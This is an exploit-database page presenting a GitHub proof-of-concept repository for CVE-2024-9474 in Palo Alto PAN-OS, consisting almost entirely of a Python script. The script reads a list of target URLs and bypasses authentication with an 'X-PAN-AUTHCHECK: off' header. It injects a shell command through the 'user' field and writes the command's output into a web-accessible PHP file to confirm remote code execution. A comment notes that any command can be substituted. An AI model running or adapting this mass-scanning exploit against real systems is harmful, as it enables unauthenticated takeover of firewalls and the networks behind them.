Exploit database

GH-166597f794870e0c330af0a77d31469d

coskper-papa/pan-os_cve-2024-9474

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-9474

12 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
coskper-papa/pan-os_cve-2024-9474Revision 8e3eed000d61

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exp.py

Python · 2,924 bytes
import requests
import random
import string
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxy = {
    "http":"http://127.0.0.1:7897",
    "https":"http://127.0.0.1:7897"
}
url_file = input("url文件路径:")
with open(url_file,'r') as f:
    for url in f.readlines():
        if "http" not in url:
            url = "http://" + url.strip()
        url = url.strip()
    
        random_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))

        burp0_url = url + "/php/utils/createRemoteAppwebSession.php/watchTowr.js.map"
        burp0_headers = {"Content-Type": "application/x-www-form-urlencoded", "User-Agent": "ozilla/5.0(Macintosh;IntelMac OS X 10_15_7)AppleWebKit/537.36(KHTML, like Gecko)Chrome/108.0.0.0Safari/537.36", "X-PAN-AUTHCHECK": "off", "Connection": "close"}
        burp0_data = {"user": f"`echo $(id) > /var/appweb/htdocs/unauth/{random_str}.php`", "userRole": "superuser", "remoteHost": '', "vsys": "vsys1"} #"id" 可以修改成其他命令

        try :
            response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False,proxies=proxy,timeout=10)
            if "Set-Cookie" in response.headers:
                set_cookie = response.headers["Set-Cookie"]
            if "PHPSESSID=" in set_cookie:
                phpsessid = set_cookie.split("PHPSESSID=")[1].split(";")[0]
                # print("PHPSESSID:", phpsessid)
            else:
                print(url + "不存在漏洞")
                pass

            burp0_url = url + "/index.php/.js.map"
            burp0_cookies = {"PHPSESSID": phpsessid}
            burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36", "X-PAN-AUTHCHECK": "off", "Connection": "close"}
            response2 = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies,verify=False,proxies=proxy,timeout=10)
            if response2.status_code != 200:
                print(url + "不存在漏洞")
                pass

            burp0_url = url + f"/unauth/{random_str}.php"
            burp0_cookies = {"PHPSESSID": phpsessid}
            burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36", "X-PAN-AUTHCHECK": "off", "Connection": "close"}
            response3 = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies,verify=False,proxies=proxy,timeout=10)
            # print(burp0_url)
            if "gid=" in response3.text:
                print("-----"*20)
                print(url+"存在漏洞!!!")
                print(response3.text.strip())
                print("-----"*20)
            else:
                print(url + "不存在漏洞")
                pass
            
        except :
            pass